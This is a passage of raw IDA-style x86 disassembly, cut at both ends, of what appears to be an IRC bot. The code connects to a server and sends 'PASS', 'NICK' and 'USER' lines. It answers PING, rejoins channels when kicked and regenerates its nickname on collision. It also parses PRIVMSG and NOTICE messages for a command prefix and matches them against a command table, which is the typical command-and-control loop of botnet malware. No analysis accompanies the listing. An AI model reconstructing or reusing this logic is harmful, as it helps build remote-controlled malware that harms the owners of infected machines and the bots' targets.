		call	sub_40B110
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_42B450	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_42CF6C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_42B380	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4069C5
		push	esi
		call	dword_42B468	; closesocket
		call	sub_405678
		push	7D0h


loc_4069BA:				; CODE XREF: sub_4068DA+135j
		call	dword_417040	; Sleep
		jmp	loc_4068FF
; ---------------------------------------------------------------------------


loc_4069C5:				; CODE XREF: sub_4068DA+CDj
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_406A2F
		add	esp, 20h
		mov	edi, eax
		push	esi
		call	dword_42B468	; closesocket
		test	edi, edi
		jz	loc_4068FF
		cmp	edi, 1
		jnz	short loc_406A11
		push	0DBBA0h
		jmp	short loc_4069BA
; ---------------------------------------------------------------------------


loc_406A11:				; CODE XREF: sub_4068DA+12Ej
		cmp	edi, 2
		jnz	loc_4068FF
		push	[ebp+var_34]
		call	sub_40AD6A
		pop	ecx
		push	edi
		pop	eax


loc_406A25:				; CODE XREF: sub_4068DA+153j
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_406A2B:				; CODE XREF: sub_4068DA+5Aj
		xor	eax, eax
		jmp	short loc_406A25
sub_4068DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A2F	proc near		; CODE XREF: sub_4068DA+112p

var_1BA0	= byte ptr -1BA0h
var_BA0		= byte ptr -0BA0h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1BA0h
		call	sub_40B690
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_406A4D:				; CODE XREF: sub_406A2F+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_406A4D
		cmp	byte_47F8AD, bl
		jz	short loc_406A74
		push	offset byte_47F8AD
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40450F
		add	esp, 0Ch


loc_406A74:				; CODE XREF: sub_406A2F+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_4061FA
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_40B0B3
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_40B5B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_42B420	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406ADE
		push	[ebp+arg_0]
		call	dword_42B468	; closesocket
		push	1388h
		call	dword_417040	; Sleep


loc_406AD7:				; CODE XREF: sub_406A2F+D9j
					; sub_406A2F+153j
		xor	eax, eax


loc_406AD9:				; CODE XREF: sub_406A2F+16Fj
					; sub_406A2F+177j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_406ADE:				; CODE XREF: sub_406A2F+92j
					; sub_406A2F+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1BA0]
		push	esi
		push	ebx
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_42B3EC	; recv
		test	eax, eax
		jle	short loc_406AD7
		lea	eax, [ebp+var_BA0]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	eax
		call	sub_405216
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_406ADE
		lea	edi, [ebp+var_BA0]


loc_406B2F:				; CODE XREF: sub_406A2F+165j
		xor	esi, esi
		inc	esi


loc_406B32:				; CODE XREF: sub_406A2F+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_406BAB
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_406B75
		push	7D0h
		call	dword_417040	; Sleep
		jmp	short loc_406B32
; ---------------------------------------------------------------------------


loc_406B75:				; CODE XREF: sub_406A2F+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_406BA3
		cmp	esi, 0FFFFFFFEh
		jz	short loc_406B9B
		cmp	esi, 0FFFFFFFFh
		jz	loc_406AD7
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_406B2F
		jmp	loc_406ADE
; ---------------------------------------------------------------------------


loc_406B9B:				; CODE XREF: sub_406A2F+14Ej
		xor	eax, eax
		inc	eax
		jmp	loc_406AD9
; ---------------------------------------------------------------------------


loc_406BA3:				; CODE XREF: sub_406A2F+149j
		push	2
		pop	eax
		jmp	loc_406AD9
sub_406A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406BAB	proc near		; CODE XREF: sub_406A2F+12Ap

var_E78		= byte ptr -0E78h
var_C78		= byte ptr -0C78h
var_A78		= byte ptr -0A78h
var_974		= byte ptr -974h
var_913		= byte ptr -913h
var_912		= byte ptr -912h
var_90F		= byte ptr -90Fh
var_906		= byte ptr -906h
var_904		= byte ptr -904h
var_902		= byte ptr -902h
var_901		= byte ptr -901h
var_874		= byte ptr -874h
var_7F4		= dword	ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= byte ptr -7ECh
var_770		= byte ptr -770h
var_6E8		= byte ptr -6E8h
var_670		= byte ptr -670h
var_5E4		= dword	ptr -5E4h
var_5E0		= dword	ptr -5E0h
var_5DC		= dword	ptr -5DCh
var_5D8		= byte ptr -5D8h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= dword	ptr -55Ch
var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= dword	ptr -550h
var_54C		= byte ptr -54Ch
var_530		= byte ptr -530h
var_4D8		= dword	ptr -4D8h
var_4D4		= byte ptr -4D4h
var_4C8		= dword	ptr -4C8h
var_4C4		= byte ptr -4C4h
var_494		= byte ptr -494h
var_474		= dword	ptr -474h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_420		= byte ptr -420h
var_40C		= dword	ptr -40Ch
var_404		= byte ptr -404h
var_3E8		= byte ptr -3E8h
var_3A0		= byte ptr -3A0h
var_384		= byte ptr -384h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E4		= byte ptr -2E4h
var_E4		= byte ptr -0E4h
var_D8		= byte ptr -0D8h
var_D4		= dword	ptr -0D4h
var_C8		= byte ptr -0C8h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_64		= byte ptr -64h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		sub	esp, 0E78h
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		mov	[ebp+var_24], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_AC], ebx
		call	sub_40B630
		push	1Bh
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	eax
		call	sub_40B110
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_406FF9
		push	esi
		lea	eax, [ebp+var_C78]
		push	ebx
		push	eax
		call	sub_40B630
		dec	esi
		lea	eax, [ebp+var_C78]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_40B110
		lea	eax, [ebp+var_C78]
		push	offset asc_41D900 ; " :"
		push	eax
		call	sub_40CE60
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C78]
		push	esi
		push	eax
		lea	eax, [ebp+var_E78]
		push	eax
		call	sub_40B110
		mov	esi, offset asc_41D8FC ; " "
		lea	eax, [ebp+var_E78]
		push	esi
		push	eax
		call	sub_40D07C
		xor	edi, edi
		add	esp, 34h
		mov	[ebp+var_A4], eax
		inc	edi


loc_406C6A:				; CODE XREF: sub_406BAB+D3j
		push	esi
		push	ebx
		call	sub_40D07C
		mov	[ebp+edi*4+var_A4], eax
		inc	edi
		pop	ecx
		cmp	edi, 20h
		pop	ecx
		jl	short loc_406C6A
		mov	esi, [ebp+var_A4]
		cmp	esi, ebx
		jz	loc_406FF9
		cmp	[ebp+var_A0], ebx
		jz	loc_406FF9
		push	100h
		lea	eax, [ebp+var_974]
		push	ebx
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		push	1Fh
		pop	edx


loc_406CB2:				; CODE XREF: sub_406BAB+13Bj
		lea	ecx, [ebp+edx*4+var_A4]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_406CE5
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_406CE8
		cmp	[eax+2], bl
		jnz	short loc_406CE8
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_974], 1
		mov	esi, [ebp+var_A4]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_406CE5:				; CODE XREF: sub_406BAB+112j
		dec	edx
		jns	short loc_406CB2


loc_406CE8:				; CODE XREF: sub_406BAB+117j
					; sub_406BAB+11Cj
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_901], bl
		jz	short loc_406CF6
		mov	[ebp+var_8], edi


loc_406CF6:				; CODE XREF: sub_406BAB+146j
		cmp	[ebp+var_906], bl
		jz	short loc_406D04
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_406D04:				; CODE XREF: sub_406BAB+151j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_406D3E
		push	7Fh
		lea	eax, [ebp+var_874]
		push	esi
		push	eax
		call	sub_40B110
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_40B110
		lea	eax, [ebp+var_C8]
		push	offset asc_41D8F8 ; "!"
		push	eax
		call	sub_40D07C
		add	esp, 20h


loc_406D3E:				; CODE XREF: sub_406BAB+15Cj
		push	esi
		push	offset aPing	; "PING"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406D8F
		push	[ebp+var_A0]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_406E33
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		add	esp, 10h
		jmp	loc_406E33
; ---------------------------------------------------------------------------


loc_406D8F:				; CODE XREF: sub_406BAB+1A2j
		mov	esi, [ebp+var_A0]
		push	esi
		push	offset a001	; "001"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A0AA
		push	esi
		push	offset a005	; "005"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A0AA
		push	esi
		push	offset a302	; "302"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406DFA
		push	offset a@	; "@"
		push	[ebp+var_98]
		call	sub_40CE60
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_406E33
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_40B110
		add	esp, 0Ch
		jmp	short loc_406E33
; ---------------------------------------------------------------------------


loc_406DFA:				; CODE XREF: sub_406BAB+223j
		push	esi
		push	offset a433	; "433"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406E3A
		push	ebx
		push	dword_41C0F4
		push	dword_41C0F0
		push	[ebp+arg_10]
		call	sub_4061FA
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		add	esp, 1Ch


loc_406E33:				; CODE XREF: sub_406BAB+1C3j
					; sub_406BAB+1DFj ...
		mov	eax, edi
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_406E3A:				; CODE XREF: sub_406BAB+25Ej
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_B0], 2
		mov	edi, 80h


loc_406E4C:				; CODE XREF: sub_406BAB+2C6j
		lea	eax, [ebp+var_874]
		push	eax
		push	esi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406E69
		mov	[ebp+var_A8], 1


loc_406E69:				; CODE XREF: sub_406BAB+2B2j
		add	esi, edi
		dec	[ebp+var_B0]
		jnz	short loc_406E4C
		mov	esi, [ebp+var_A0]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406F52
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_406E98:				; CODE XREF: sub_406BAB+36Cj
		cmp	[esi], bl
		jz	short loc_406F12
		push	7Fh
		lea	eax, [ebp+var_874]
		push	esi
		push	eax
		call	sub_40B110
		add	esp, 0Ch
		cmp	[ebp+var_98], ebx
		jz	short loc_406F12
		push	[ebp+var_98]
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406F12
		lea	eax, [ebp+var_C8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41D888
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		add	esp, 20h


loc_406F12:				; CODE XREF: sub_406BAB+2EFj
					; sub_406BAB+309j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_406E98
		push	[ebp+var_98]
		push	[ebp+arg_10]
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406FF9
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_406F45:				; CODE XREF: sub_406BAB+5C8j
					; sub_406BAB+806j ...
		push	[ebp+arg_4]
		call	sub_40450F
		jmp	loc_4099CF
; ---------------------------------------------------------------------------


loc_406F52:				; CODE XREF: sub_406BAB+2DDj
		push	esi
		push	offset aNick	; "NICK"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40708E
		mov	eax, [ebp+var_9C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_406F7B:				; CODE XREF: sub_406BAB+422j
		lea	eax, [ebp+var_874]
		push	eax
		push	esi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406FC8
		lea	eax, [ebp+var_874]
		push	21h
		push	eax
		call	sub_40CFC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_406FC8
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_40CD70
		push	[ebp+arg_1C]
		push	edi
		call	sub_40CD80
		add	esp, 10h
		mov	edi, 80h


loc_406FC8:				; CODE XREF: sub_406BAB+3E1j
					; sub_406BAB+3F8j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_406F7B
		cmp	[ebp+arg_24], ebx
		jz	short loc_406FF9
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407001
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_40B110
		add	esp, 0Ch


loc_406FF9:				; CODE XREF: sub_406BAB+54j
					; sub_406BAB+DDj ...
		xor	eax, eax
		inc	eax


loc_406FFC:				; CODE XREF: sub_406BAB+28Aj
					; sub_406BAB+1EF2j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407001:				; CODE XREF: sub_406BAB+43Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_407006:				; CODE XREF: sub_406BAB+47Cj
		cmp	[edi], bl
		jz	short loc_40701D
		lea	eax, [ebp+var_874]
		push	eax
		push	edi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40702B


loc_40701D:				; CODE XREF: sub_406BAB+45Dj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_407006
		jmp	short loc_406FF9
; ---------------------------------------------------------------------------


loc_40702B:				; CODE XREF: sub_406BAB+470j
		lea	eax, [ebp+var_874]
		push	21h
		push	eax
		call	sub_40CFC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_406FF9
		push	eax
		call	sub_40B5B0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_40B5B0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_406FF9
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_494]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 24h
		jmp	loc_406FF9
; ---------------------------------------------------------------------------


loc_40708E:				; CODE XREF: sub_406BAB+3B6j
		push	esi
		push	offset aPart	; "PART"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4070B0
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4070D7


loc_4070B0:				; CODE XREF: sub_406BAB+4F2j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4070B5:				; CODE XREF: sub_406BAB+52Aj
		cmp	[edi], bl
		jz	short loc_4070CB
		push	[ebp+var_A4]
		push	edi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407117


loc_4070CB:				; CODE XREF: sub_406BAB+50Cj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4070B5


loc_4070D7:				; CODE XREF: sub_406BAB+503j
		push	[ebp+var_A0]
		push	offset a353	; "353"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407178
		push	[ebp+var_94]
		push	[ebp+arg_8]
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406FF9
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1
		jmp	loc_406FF9
; ---------------------------------------------------------------------------


loc_407117:				; CODE XREF: sub_406BAB+51Ej
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C8]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41D838
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		push	[ebp+var_A0]
		push	offset aPart	; "PART"
		call	sub_40C250
		add	esp, 18h
		test	eax, eax
		jnz	loc_406FF9
		lea	eax, [ebp+var_2E4]
		push	eax
		mov	eax, [ebp+var_A4]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_406F45
; ---------------------------------------------------------------------------


loc_407178:				; CODE XREF: sub_406BAB+540j
		push	[ebp+var_A0]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_40C250
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_4071CC
		push	[ebp+var_A0]
		push	edi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4071CC
		push	[ebp+var_A0]
		push	offset dword_41D834
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409F32
		cmp	dword_41C0DC, ebx
		jz	loc_409F32


loc_4071CC:				; CODE XREF: sub_406BAB+5E7j
					; sub_406BAB+5F9j
		push	[ebp+var_A0]
		push	esi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4072D0
		push	[ebp+var_A0]
		push	edi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4072D0
		mov	eax, [ebp+var_98]
		inc	[ebp+var_94]
		mov	[ebp+var_24], 4
		mov	[ebp+var_9C], eax


loc_407211:				; CODE XREF: sub_406BAB+7DEj
					; sub_406BAB+81Aj ...
		mov	eax, [ebp+var_24]
		mov	esi, eax
		shl	esi, 2
		lea	eax, [ebp+esi+var_A4]
		mov	ecx, [eax]
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, byte_41C0E8
		mov	[ebp+arg_C], edi
		jnz	loc_406FF9
		push	edi
		push	offset dword_41D830
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409F3A
		push	edi
		push	offset dword_41D830
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409F3A
		cmp	[ebp+var_A8], ebx
		jnz	short loc_407284
		push	[ebp+var_A0]
		push	offset dword_41D834
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409F32


loc_407284:				; CODE XREF: sub_406BAB+6BDj
		cmp	[ebp+arg_28], ebx
		jnz	loc_409F32
		cmp	dword_41C418, ebx
		mov	[ebp+arg_8], ebx
		jle	loc_407543
		mov	[ebp+arg_20], offset dword_42C1E0


loc_4072A3:				; CODE XREF: sub_406BAB+71Ej
		push	edi
		push	[ebp+arg_20]
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073F5
		inc	[ebp+arg_8]
		add	[ebp+arg_20], 0B8h
		mov	eax, [ebp+arg_8]
		cmp	eax, dword_41C418
		jl	short loc_4072A3
		jmp	loc_407543
; ---------------------------------------------------------------------------


loc_4072D0:				; CODE XREF: sub_406BAB+631j
					; sub_406BAB+647j
		push	[ebp+var_A0]
		push	edi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4072E9
		mov	[ebp+var_4], 1


loc_4072E9:				; CODE XREF: sub_406BAB+735j
		cmp	[ebp+var_9C], ebx
		jz	loc_406FF9
		push	(offset	loc_41990F+1)
		push	[ebp+var_9C]
		call	sub_40CE60
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407310
		cmp	[ebp+var_4], ebx
		jz	short loc_40731C


loc_407310:				; CODE XREF: sub_406BAB+75Ej
		lea	eax, [ebp+var_C8]
		mov	[ebp+var_9C], eax


loc_40731C:				; CODE XREF: sub_406BAB+763j
		cmp	[ebp+var_98], ebx
		jz	loc_406FF9
		inc	[ebp+var_98]
		jz	short loc_407363
		cmp	[ebp+arg_10], ebx
		jz	short loc_407363
		lea	eax, [ebp+var_54C]
		push	eax
		call	sub_40B5B0
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+var_98]
		push	eax
		call	sub_40D450
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_24], eax
		jmp	short loc_407366
; ---------------------------------------------------------------------------


loc_407363:				; CODE XREF: sub_406BAB+783j
					; sub_406BAB+788j
		mov	eax, [ebp+var_24]


loc_407366:				; CODE XREF: sub_406BAB+7B6j
		mov	esi, eax
		shl	esi, 2
		mov	edi, [ebp+esi+var_A4]
		cmp	edi, ebx
		jz	loc_406FF9
		push	edi
		push	offset dword_41D824
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407211
		mov	ecx, [ebp+var_9C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4073B6
		mov	eax, dword_47F8B4
		mov	eax, off_41C204[eax*4]
		cmp	[eax], bl
		jz	short loc_4073B6
		push	eax
		push	ecx
		push	offset dword_41D808
		jmp	loc_406F45
; ---------------------------------------------------------------------------


loc_4073B6:				; CODE XREF: sub_406BAB+7EDj
					; sub_406BAB+7FDj
		push	edi
		push	offset dword_41D800
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407211
		mov	esi, [ebp+esi+var_A0]
		cmp	esi, ebx
		jz	loc_407211
		mov	eax, [ebp+var_9C]
		cmp	byte ptr [eax],	23h
		jz	loc_407211
		push	esi
		push	eax
		push	offset dword_41D7E8
		jmp	loc_406F45
; ---------------------------------------------------------------------------


loc_4073F5:				; CODE XREF: sub_406BAB+705j
		push	offset asc_41D900 ; " :"
		push	[ebp+arg_0]
		call	sub_40CE60
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_406FF9
		mov	edi, [ebp+arg_8]
		mov	cl, byte_41C0E8
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_41C0E8
		mov	[eax+3], cl
		lea	ecx, dword_42C1F8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_40B110
		lea	eax, dword_42C1E0[edi]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax
		lea	edi, [ebp+esi+var_64]


loc_407453:				; CODE XREF: sub_406BAB+933j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE60
		add	esp, 14h
		test	eax, eax
		jz	short loc_4074AC
		cmp	[edi], ebx
		jz	short loc_4074B0
		push	[ebp+arg_20]
		call	sub_40B5B0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4074D5
		push	dword ptr [edi-4]
		push	[ebp+var_C]
		call	sub_40CE60
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4074D5
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_405185
		add	esp, 0Ch
		jmp	short loc_4074D5
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_406BAB+8CAj
		cmp	[edi], ebx
		jnz	short loc_4074D5


loc_4074B0:				; CODE XREF: sub_406BAB+8CEj
		lea	eax, [ebp+var_20]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40B110
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
